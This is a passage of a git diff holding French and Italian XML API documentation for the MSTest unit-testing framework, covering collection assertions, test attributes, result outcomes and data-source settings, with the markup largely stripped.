spécifié - et lève une exception si l'élément est dans la collection. - - - Collection dans laquelle rechercher l'élément. - - - Élément censé ne pas se trouver dans la collection. - - - Message à inclure dans l'exception quand - est dans . Le message s'affiche dans les - résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is found in - . - - - - - Teste si tous les éléments de la collection spécifiée ont des valeurs non null, et lève - une exception si un élément a une valeur null. - - - Collection dans laquelle rechercher les éléments ayant une valeur null. - - - Thrown if a null element is found in . - - - - - Teste si tous les éléments de la collection spécifiée ont des valeurs non null, et lève - une exception si un élément a une valeur null. - - - Collection dans laquelle rechercher les éléments ayant une valeur null. - - - Message à inclure dans l'exception quand - contient un élément ayant une valeur null. Le message s'affiche dans les résultats des tests. - - - Thrown if a null element is found in . - - - - - Teste si tous les éléments de la collection spécifiée ont des valeurs non null, et lève - une exception si un élément a une valeur null. - - - Collection dans laquelle rechercher les éléments ayant une valeur null. - - - Message à inclure dans l'exception quand - contient un élément ayant une valeur null. Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if a null element is found in . - - - - - Teste si tous les éléments de la collection spécifiée sont uniques ou non, et - lève une exception si deux éléments de la collection sont identiques. - - - Collection dans laquelle rechercher les éléments dupliqués. - - - Thrown if a two or more equal elements are found in - . - - - - - Teste si tous les éléments de la collection spécifiée sont uniques ou non, et - lève une exception si deux éléments de la collection sont identiques. - - - Collection dans laquelle rechercher les éléments dupliqués. - - - Message à inclure dans l'exception quand - contient au moins un élément dupliqué. Le message s'affiche dans - les résultats des tests. - - - Thrown if a two or more equal elements are found in - . - - - - - Teste si tous les éléments de la collection spécifiée sont uniques ou non, et - lève une exception si deux éléments de la collection sont identiques. - - - Collection dans laquelle rechercher les éléments dupliqués. - - - Message à inclure dans l'exception quand - contient au moins un élément dupliqué. Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if a two or more equal elements are found in - . - - - - - Teste si une collection est un sous-ensemble d'une autre collection et - lève une exception si un élément du sous-ensemble ne se trouve pas également dans le - sur-ensemble. - - - Collection censée être un sous-ensemble de . - - - Collection censée être un sur-ensemble de - - - Thrown if an element in is not found in - . - - - - - Teste si une collection est un sous-ensemble d'une autre collection et - lève une exception si un élément du sous-ensemble ne se trouve pas également dans le - sur-ensemble. - - - Collection censée être un sous-ensemble de . - - - Collection censée être un sur-ensemble de - - - Message à inclure dans l'exception quand un élément présent dans - est introuvable dans . - Le message s'affiche dans les résultats des tests. - - - Thrown if an element in is not found in - . - - - - - Teste si une collection est un sous-ensemble d'une autre collection et - lève une exception si un élément du sous-ensemble ne se trouve pas également dans le - sur-ensemble. - - - Collection censée être un sous-ensemble de . - - - Collection censée être un sur-ensemble de - - - Message à inclure dans l'exception quand un élément présent dans - est introuvable dans . - Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if an element in is not found in - . - - - - - Teste si une collection n'est pas un sous-ensemble d'une autre collection et - lève une exception si tous les éléments du sous-ensemble se trouvent également dans le - sur-ensemble. - - - Collection censée ne pas être un sous-ensemble de . - - - Collection censée ne pas être un sur-ensemble de - - - Thrown if every element in is also found in - . - - - - - Teste si une collection n'est pas un sous-ensemble d'une autre collection et - lève une exception si tous les éléments du sous-ensemble se trouvent également dans le - sur-ensemble. - - - Collection censée ne pas être un sous-ensemble de . - - - Collection censée ne pas être un sur-ensemble de - - - Message à inclure dans l'exception quand chaque élément présent dans - est également trouvé dans . - Le message s'affiche dans les résultats des tests. - - - Thrown if every element in is also found in - . - - - - - Teste si une collection n'est pas un sous-ensemble d'une autre collection et - lève une exception si tous les éléments du sous-ensemble se trouvent également dans le - sur-ensemble. - - - Collection censée ne pas être un sous-ensemble de . - - - Collection censée ne pas être un sur-ensemble de - - - Message à inclure dans l'exception quand chaque élément présent dans - est également trouvé dans . - Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if every element in is also found in - . - - - - - Teste si deux collections contiennent les mêmes éléments, et lève une - exception si l'une des collections contient un élément non présent dans l'autre - collection. - - - Première collection à comparer. Ceci contient les éléments que le test - attend. - - - Seconde collection à comparer. Il s'agit de la collection produite par - le code testé. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Teste si deux collections contiennent les mêmes éléments, et lève une - exception si l'une des collections contient un élément non présent dans l'autre - collection. - - - Première collection à comparer. Ceci contient les éléments que le test - attend. - - - Seconde collection à comparer. Il s'agit de la collection produite par - le code testé. - - - Message à inclure dans l'exception quand un élément est trouvé - dans l'une des collections mais pas l'autre. Le message s'affiche - dans les résultats des tests. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Teste si deux collections contiennent les mêmes éléments, et lève une - exception si l'une des collections contient un élément non présent dans l'autre - collection. - - - Première collection à comparer. Ceci contient les éléments que le test - attend. - - - Seconde collection à comparer. Il s'agit de la collection produite par - le code testé. - - - Message à inclure dans l'exception quand un élément est trouvé - dans l'une des collections mais pas l'autre. Le message s'affiche - dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Teste si deux collections contiennent des éléments distincts, et lève une - exception si les deux collections contiennent des éléments identiques, indépendamment - de l'ordre. - - - Première collection à comparer. Ceci contient les éléments que le test - est censé différencier des éléments de la collection réelle. - - - Seconde collection à comparer. Il s'agit de la collection produite par - le code testé. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Teste si deux collections contiennent des éléments distincts, et lève une - exception si les deux collections contiennent des éléments identiques, indépendamment - de l'ordre. - - - Première collection à comparer. Ceci contient les éléments que le test - est censé différencier des éléments de la collection réelle. - - - Seconde collection à comparer. Il s'agit de la collection produite par - le code testé. - - - Message à inclure dans l'exception quand - contient les mêmes éléments que . Le message - s'affiche dans les résultats des tests. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Teste si deux collections contiennent des éléments distincts, et lève une - exception si les deux collections contiennent des éléments identiques, indépendamment - de l'ordre. - - - Première collection à comparer. Ceci contient les éléments que le test - est censé différencier des éléments de la collection réelle. - - - Seconde collection à comparer. Il s'agit de la collection produite par - le code testé. - - - Message à inclure dans l'exception quand - contient les mêmes éléments que . Le message - s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Teste si tous les éléments de la collection spécifiée sont des instances - du type attendu, et lève une exception si le type attendu - n'est pas dans la hiérarchie d'héritage d'un ou de plusieurs éléments. - - - Collection contenant des éléments que le test considère comme étant - du type spécifié. - - - Type attendu de chaque élément de . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Teste si tous les éléments de la collection spécifiée sont des instances - du type attendu, et lève une exception si le type attendu - n'est pas dans la hiérarchie d'héritage d'un ou de plusieurs éléments. - - - Collection contenant des éléments que le test considère comme étant - du type spécifié. - - - Type attendu de chaque élément de . - - - Message à inclure dans l'exception quand un élément présent dans - n'est pas une instance de - . Le message s'affiche dans les résultats des tests. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Teste si tous les éléments de la collection spécifiée sont des instances - du type attendu, et lève une exception si le type attendu - n'est pas dans la hiérarchie d'héritage d'un ou de plusieurs éléments. - - - Collection contenant des éléments que le test considère comme étant - du type spécifié. - - - Type attendu de chaque élément de . - - - Message à inclure dans l'exception quand un élément présent dans - n'est pas une instance de - . Le message s'affiche dans les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Teste si les collections spécifiées sont égales entre elles, et lève une exception - si les deux collections ne sont pas égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection attendue par les tests. - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Thrown if is not equal to - . - - - - - Teste si les collections spécifiées sont égales entre elles, et lève une exception - si les deux collections ne sont pas égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection attendue par les tests. - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not equal to - . - - - - - Teste si les collections spécifiées sont égales entre elles, et lève une exception - si les deux collections ne sont pas égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection attendue par les tests. - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to - . - - - - - Teste si les collections spécifiées sont différentes, et lève une exception - si les deux collections sont égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection à laquelle les tests sont censés - ne pas correspondre . - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Thrown if is equal to . - - - - - Teste si les collections spécifiées sont différentes, et lève une exception - si les deux collections sont égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection à laquelle les tests sont censés - ne pas correspondre . - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les collections spécifiées sont différentes, et lève une exception - si les deux collections sont égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection à laquelle les tests sont censés - ne pas correspondre . - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Teste si les collections spécifiées sont égales entre elles, et lève une exception - si les deux collections ne sont pas égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection attendue par les tests. - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Implémentation de comparaison à utiliser durant la comparaison d'éléments de la collection. - - - Thrown if is not equal to - . - - - - - Teste si les collections spécifiées sont égales entre elles, et lève une exception - si les deux collections ne sont pas égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection attendue par les tests. - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Implémentation de comparaison à utiliser durant la comparaison d'éléments de la collection. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is not equal to - . - - - - - Teste si les collections spécifiées sont égales entre elles, et lève une exception - si les deux collections ne sont pas égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection attendue par les tests. - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Implémentation de comparaison à utiliser durant la comparaison d'éléments de la collection. - - - Message à inclure dans l'exception quand - n'est pas égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is not equal to - . - - - - - Teste si les collections spécifiées sont différentes, et lève une exception - si les deux collections sont égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection à laquelle les tests sont censés - ne pas correspondre . - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Implémentation de comparaison à utiliser durant la comparaison d'éléments de la collection. - - - Thrown if is equal to . - - - - - Teste si les collections spécifiées sont différentes, et lève une exception - si les deux collections sont égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection à laquelle les tests sont censés - ne pas correspondre . - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Implémentation de comparaison à utiliser durant la comparaison d'éléments de la collection. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Thrown if is equal to . - - - - - Teste si les collections spécifiées sont différentes, et lève une exception - si les deux collections sont égales entre elles. L'égalité est définie quand il existe les mêmes - éléments dans le même ordre et en même quantité. Des références différentes à la même - valeur sont considérées comme égales entre elles. - - - Première collection à comparer. Collection à laquelle les tests sont censés - ne pas correspondre . - - - Seconde collection à comparer. Il s'agit de la collection produite par le - code testé. - - - Implémentation de comparaison à utiliser durant la comparaison d'éléments de la collection. - - - Message à inclure dans l'exception quand - est égal à . Le message s'affiche dans - les résultats des tests. - - - Tableau de paramètres à utiliser pour la mise en forme de . - - - Thrown if is equal to . - - - - - Détermine si la première collection est un sous-ensemble de la seconde - collection. Si l'un des deux ensembles contient des éléments dupliqués, le nombre - d'occurrences de l'élément dans le sous-ensemble doit être inférieur ou - égal au nombre d'occurrences dans le sur-ensemble. - - - Collection dans laquelle le test est censé être contenu . - - - Collection que le test est censé contenir . - - - True si est un sous-ensemble de - , sinon false. - - - - - Construit un dictionnaire contenant le nombre d'occurrences de chaque - élément dans la collection spécifiée. - - - Collection à traiter. - - - Nombre d'éléments de valeur null dans la collection. - - - Dictionnaire contenant le nombre d'occurrences de chaque élément - dans la collection spécifiée. - - - - - Recherche un élément incompatible parmi les deux collections. Un élément incompatible - est un élément qui n'apparaît pas avec la même fréquence dans la - collection attendue et dans la collection réelle. Les - collections sont supposées être des références non null distinctes ayant le - même nombre d'éléments. L'appelant est responsable de ce niveau de - vérification. S'il n'existe aucun élément incompatible, la fonction retourne - la valeur false et les paramètres out ne doivent pas être utilisés. - - - Première collection à comparer. - - - Seconde collection à comparer. - - - Nombre attendu d'occurrences de - ou 0, s'il n'y a aucune incompatibilité - des éléments. - - - Nombre réel d'occurrences de - ou 0, s'il n'y a aucune incompatibilité - des éléments. - - - Élément incompatible (pouvant avoir une valeur null), ou valeur null s'il n'existe aucun - élément incompatible. - - - true si un élément incompatible est trouvé ; sinon, false. - - - - - compare les objets via object.Equals - - - - - Classe de base pour les exceptions de framework. - - - - - Initialise une nouvelle instance de la classe . - - - - - Initialise une nouvelle instance de la classe . - - Message. - Exception. - - - - Initialise une nouvelle instance de la classe . - - Message. - - - - Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées. - - - - - Retourne l'instance ResourceManager mise en cache utilisée par cette classe. - - - - - Remplace la propriété CurrentUICulture du thread actuel pour toutes - les recherches de ressources à l'aide de cette classe de ressource fortement typée. - - - - - Recherche une chaîne localisée semblable à celle-ci : La chaîne Access comporte une syntaxe non valide. - - - - - Recherche une chaîne localisée semblable à celle-ci : La collection attendue contient {1} occurrence(s) de <{2}>. La collection réelle contient {3} occurrence(s). {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Un élément dupliqué a été trouvé : <{1}>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Attendu : <{1}>. La casse est différente pour la valeur réelle : <{2}>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Différence attendue non supérieure à <{3}> comprise entre la valeur attendue <{1}> et la valeur réelle <{2}>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Attendu : <{1} ({2})>. Réel : <{3} ({4})>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Attendu : <{1}>. Réel : <{2}>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Différence attendue supérieure à <{3}> comprise entre la valeur attendue <{1}> et la valeur réelle <{2}>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Toute valeur attendue sauf : <{1}>. Réel : <{2}>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Ne passez pas de types valeur à AreSame(). Les valeurs converties en Object ne seront plus jamais les mêmes. Si possible, utilisez AreEqual(). {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Échec de {0}. {1}. - - - - - Recherche une chaîne localisée semblable à celle-ci : async TestMethod utilisé avec UITestMethodAttribute n'est pas pris en charge. Supprimez async ou utilisez TestMethodAttribute. - - - - - Recherche une chaîne localisée semblable à celle-ci : Les deux collections sont vides. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Les deux collections contiennent des éléments identiques. - - - - - Recherche une chaîne localisée semblable à celle-ci : Les deux collections Reference pointent vers le même objet Collection. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Les deux collections contiennent les mêmes éléments. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : {0}({1}). - - - - - Recherche une chaîne localisée semblable à celle-ci : (null). - - - - - Recherche une chaîne localisée semblable à celle-ci : (objet). - - - - - Recherche une chaîne localisée semblable à celle-ci : La chaîne '{0}' ne contient pas la chaîne '{1}'. {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : {0} ({1}). - - - - - Recherche une chaîne localisée semblable à celle-ci : Assert.Equals ne doit pas être utilisé pour les assertions. Utilisez Assert.AreEqual et des surcharges à la place. - - - - - Recherche une chaîne localisée semblable à celle-ci : Le nombre d'éléments dans les collections ne correspond pas. Attendu : <{1}>. Réel : <{2}>.{0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Les éléments à l'index {0} ne correspondent pas. - - - - - Recherche une chaîne localisée semblable à celle-ci : L'élément à l'index {1} n'est pas du type attendu. Type attendu : <{2}>. Type réel : <{3}>.{0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : L'élément à l'index {1} est (null). Type attendu : <{2}>.{0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : La chaîne '{0}' ne se termine pas par la chaîne '{1}'. {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Argument non valide - EqualsTester ne peut pas utiliser de valeurs null. - - - - - Recherche une chaîne localisée semblable à celle-ci : Impossible de convertir un objet de type {0} en {1}. - - - - - Recherche une chaîne localisée semblable à celle-ci : L'objet interne référencé n'est plus valide. - - - - - Recherche une chaîne localisée semblable à celle-ci : Le paramètre '{0}' est non valide. {1}. - - - - - Recherche une chaîne localisée semblable à celle-ci : La propriété {0} a le type {1} ; type attendu {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : {0} Type attendu : <{1}>. Type réel : <{2}>. - - - - - Recherche une chaîne localisée semblable à celle-ci : La chaîne '{0}' ne correspond pas au modèle '{1}'. {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Type incorrect : <{1}>. Type réel : <{2}>. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : La chaîne '{0}' correspond au modèle '{1}'. {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Aucun DataRowAttribute spécifié. Au moins un DataRowAttribute est nécessaire avec DataTestMethodAttribute. - - - - - Recherche une chaîne localisée semblable à celle-ci : Aucune exception levée. Exception {1} attendue. {0}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Le paramètre '{0}' est non valide. La valeur ne peut pas être null. {1}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Nombre d'éléments différent. - - - - - Recherche une chaîne localisée semblable à celle-ci : - Le constructeur doté de la signature spécifiée est introuvable. Vous devrez peut-être régénérer votre accesseur private, - ou le membre est peut-être private et défini sur une classe de base. Si le dernier cas est vrai, vous devez transmettre le type - qui définit le membre dans le constructeur de PrivateObject. - . - - - - - Recherche une chaîne localisée semblable à celle-ci : - Le membre spécifié ({0}) est introuvable. Vous devrez peut-être régénérer votre accesseur private, - ou le membre est peut-être private et défini sur une classe de base. Si le dernier cas est vrai, vous devez transmettre le type - qui définit le membre dans le constructeur de PrivateObject. - . - - - - - Recherche une chaîne localisée semblable à celle-ci : La chaîne '{0}' ne commence pas par la chaîne '{1}'. {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : Le type de l'exception attendue doit être System.Exception ou un type dérivé de System.Exception. - - - - - Recherche une chaîne localisée semblable à celle-ci : (Échec de la réception du message pour une exception de type {0} en raison d'une exception.). - - - - - Recherche une chaîne localisée semblable à celle-ci : La méthode de test n'a pas levé l'exception attendue {0}. {1}. - - - - - Recherche une chaîne localisée semblable à celle-ci : La méthode de test n'a pas levé d'exception. Une exception était attendue par l'attribut {0} défini sur la méthode de test. - - - - - Recherche une chaîne localisée semblable à celle-ci : La méthode de test a levé l'exception {0}, mais l'exception {1} était attendue. Message d'exception : {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : La méthode de test a levé l'exception {0}, mais l'exception {1} (ou un type dérivé de cette dernière) était attendue. Message d'exception : {2}. - - - - - Recherche une chaîne localisée semblable à celle-ci : L'exception {2} a été levée, mais l'exception {1} était attendue. {0} - Message d'exception : {3} - Arborescence des appels de procédure : {4}. - - - - - résultats du test unitaire - - - - - Le test a été exécuté mais des problèmes se sont produits. - Il peut s'agir de problèmes liés à des exceptions ou des échecs d'assertion. - - - - - Test effectué, mais nous ne pouvons pas dire s'il s'agit d'une réussite ou d'un échec. - Utilisable éventuellement pour les tests abandonnés. - - - - - Le test a été exécuté sans problème. - - - - - Le test est en cours d'exécution. - - - - - Une erreur système s'est produite pendant que nous tentions d'exécuter un test. - - - - - Délai d'expiration du test. - - - - - Test abandonné par l'utilisateur. - - - - - Le test est dans un état inconnu - - - - - Fournit une fonctionnalité d'assistance pour le framework de tests unitaires - - - - - Obtient les messages d'exception, notamment les messages de toutes les exceptions internes - de manière récursive - - Exception pour laquelle les messages sont obtenus - chaîne avec les informations du message d'erreur - - - - Énumération des délais d'expiration, qui peut être utilisée avec la classe . - Le type de l'énumération doit correspondre - - - - - Infini. - - - - - Attribut de la classe de test. - - - - - Obtient un attribut de méthode de test qui permet d'exécuter ce test. - - Instance d'attribut de méthode de test définie sur cette méthode. - Le à utiliser pour exécuter ce test. - Extensions can override this method to customize how all methods in a class are run. - - - - Attribut de la méthode de test. - - - - - Exécute une méthode de test. - - Méthode de test à exécuter. - Tableau d'objets TestResult qui représentent le ou les résultats du test. - Extensions can override this method to customize running a TestMethod. - - - - Attribut d'initialisation du test. - - - - - Attribut de nettoyage du test. - - - - - Attribut ignore. - - - - - Attribut de la propriété de test. - - - - - Initialise une nouvelle instance de la classe . - - - Nom. - - - Valeur. - - - - - Obtient le nom. - - - - - Obtient la valeur. - - - - - Attribut d'initialisation de la classe. - - - - - Attribut de nettoyage de la classe. - - - - - Attribut d'initialisation de l'assembly. - - - - - Attribut de nettoyage de l'assembly. - - - - - Propriétaire du test - - - - - Initialise une nouvelle instance de la classe . - - - Propriétaire. - - - - - Obtient le propriétaire. - - - - - Attribut Priority utilisé pour spécifier la priorité d'un test unitaire. - - - - - Initialise une nouvelle instance de la classe . - - - Priorité. - - - - - Obtient la priorité. - - - - - Description du test - - - - - Initialise une nouvelle instance de la classe pour décrire un test. - - Description. - - - - Obtient la description d'un test. - - - - - URI de structure de projet CSS - - - - - Initialise une nouvelle instance de la classe pour l'URI de structure de projet CSS. - - URI de structure de projet CSS. - - - - Obtient l'URI de structure de projet CSS. - - - - - URI d'itération CSS - - - - - Initialise une nouvelle instance de la classe pour l'URI d'itération CSS. - - URI d'itération CSS. - - - - Obtient l'URI d'itération CSS. - - - - - Attribut WorkItem permettant de spécifier un élément de travail associé à ce test. - - - - - Initialise une nouvelle instance de la classe pour l'attribut WorkItem. - - ID d'un élément de travail. - - - - Obtient l'ID d'un élément de travail associé. - - - - - Attribut Timeout utilisé pour spécifier le délai d'expiration d'un test unitaire. - - - - - Initialise une nouvelle instance de la classe . - - - Délai d'expiration. - - - - - Initialise une nouvelle instance de la classe avec un délai d'expiration prédéfini - - - Délai d'expiration - - - - - Obtient le délai d'attente. - - - - - Objet TestResult à retourner à l'adaptateur. - - - - - Initialise une nouvelle instance de la classe . - - - - - Obtient ou définit le nom d'affichage du résultat. Utile pour retourner plusieurs résultats. - En cas de valeur null, le nom de la méthode est utilisé en tant que DisplayName. - - - - - Obtient ou définit le résultat de l'exécution du test. - - - - - Obtient ou définit l'exception levée en cas d'échec du test. - - - - - Obtient ou définit la sortie du message journalisé par le code de test. - - - - - Obtient ou définit la sortie du message journalisé par le code de test. - - - - - Obtient ou définit les traces de débogage du code de test. - - - - - Gets or sets the debug traces by test code. - - - - - Obtient ou définit la durée de l'exécution du test. - - - - - Obtient ou définit l'index de ligne de données dans la source de données. Défini uniquement pour les résultats de - l'exécution individuelle de la ligne de données d'un test piloté par les données. - - - - - Obtient ou définit la valeur renvoyée de la méthode de test. (Toujours null). - - - - - Obtient ou définit les fichiers de résultats attachés par le test. - - - - - Spécifie la chaîne de connexion, le nom de la table et la méthode d'accès aux lignes pour les tests pilotés par les données. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - Nom du fournisseur par défaut de DataSource. - - - - - Méthode d'accès aux données par défaut. - - - - - Initialise une nouvelle instance de la classe . Cette instance va être initialisée avec un fournisseur de données, une chaîne de connexion, une table de données et une méthode d'accès aux données pour accéder à la source de données. - - Nom du fournisseur de données invariant, par exemple System.Data.SqlClient - - Chaîne de connexion spécifique au fournisseur de données. - AVERTISSEMENT : La chaîne de connexion peut contenir des données sensibles (par exemple, un mot de passe). - La chaîne de connexion est stockée en texte brut dans le code source et dans l'assembly compilé. - Restreignez l'accès au code source et à l'assembly pour protéger ces informations sensibles. - - Nom de la table de données. - Spécifie l'ordre d'accès aux données. - - - - Initialise une nouvelle instance de la classe . Cette instance va être initialisée avec une chaîne de connexion et un nom de table. - Spécifiez la chaîne de connexion et la table de données permettant d'accéder à la source de données OLEDB. - - - Chaîne de connexion spécifique au fournisseur de données. - AVERTISSEMENT : La chaîne de connexion peut contenir des données sensibles (par exemple, un mot de passe). - La chaîne de connexion est stockée en texte brut dans le code source et dans l'assembly compilé. - Restreignez l'accès au code source et à l'assembly pour protéger ces informations sensibles. - - Nom de la table de données. - - - - Initialise une nouvelle instance de la classe . Cette instance va être initialisée avec un fournisseur de données et une chaîne de connexion associés au nom du paramètre. - - Nom d'une source de données trouvée dans la section <microsoft.visualstudio.qualitytools> du fichier app.config. - - - - Obtient une valeur représentant le fournisseur de données de la source de données. - - - Nom du fournisseur de données. Si aucun fournisseur de données n'a été désigné au moment de l'initialisation de l'objet, le fournisseur par défaut de System.Data.OleDb est retourné. - - - - - Obtient une valeur représentant la chaîne de connexion de la source de données. - - - - - Obtient une valeur indiquant le nom de la table qui fournit les données. - - - - - Obtient la méthode utilisée pour accéder à la source de données. - - - - Une des valeurs possibles. Si n'est pas initialisé, ce qui entraîne le retour de la valeur par défaut . - - - - - Obtient le nom d'une source de données trouvée dans la section <microsoft.visualstudio.qualitytools> du fichier app.config. - - - - - Attribut du test piloté par les données, où les données peuvent être spécifiées inline. - - - - - Recherche toutes les lignes de données et les exécute. - - - Méthode de test. - - - Tableau des . - - - - - Exécute la méthode de test piloté par les données. - - Méthode de test à exécuter. - Ligne de données. - Résultats de l'exécution. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/it/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/it/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 45a5e139..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/it/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,93 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Usato per specificare l'elemento di distribuzione (file o directory) per la distribuzione per singolo test. - Può essere specificato in classi o metodi di test. - Può contenere più istanze dell'attributo per specificare più di un elemento. - Il percorso dell'elemento può essere assoluto o relativo; se è relativo, è relativo rispetto a RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - DeploymentItemAttribute is currently not supported in .Net Core. This is just a placehodler for support in the future. - - - - - Inizializza una nuova istanza della classe . - - File o directory per la distribuzione. Il percorso è relativo alla directory di output della compilazione. L'elemento verrà copiato nella stessa directory degli assembly di test distribuiti. - - - - Inizializza una nuova istanza della classe - - Percorso relativo o assoluto del file o della directory per la distribuzione. Il percorso è relativo alla directory di output della compilazione. L'elemento verrà copiato nella stessa directory degli assembly di test distribuiti. - Percorso della directory in cui vengono copiati gli elementi. Può essere assoluto o relativo rispetto alla directory di distribuzione. Tutte le directory e tutti i file identificati da verranno copiati in questa directory. - - - - Ottiene il percorso della cartella o del file di origine da copiare. - - - - - Ottiene il percorso della directory in cui viene copiato l'elemento. - - - - - Classe TestContext. Questa classe deve essere completamente astratta e non deve - contenere membri. I membri verranno implementati dall'adattatore. Gli utenti del framework devono - accedere a questa classe solo tramite un'interfaccia correttamente definita. 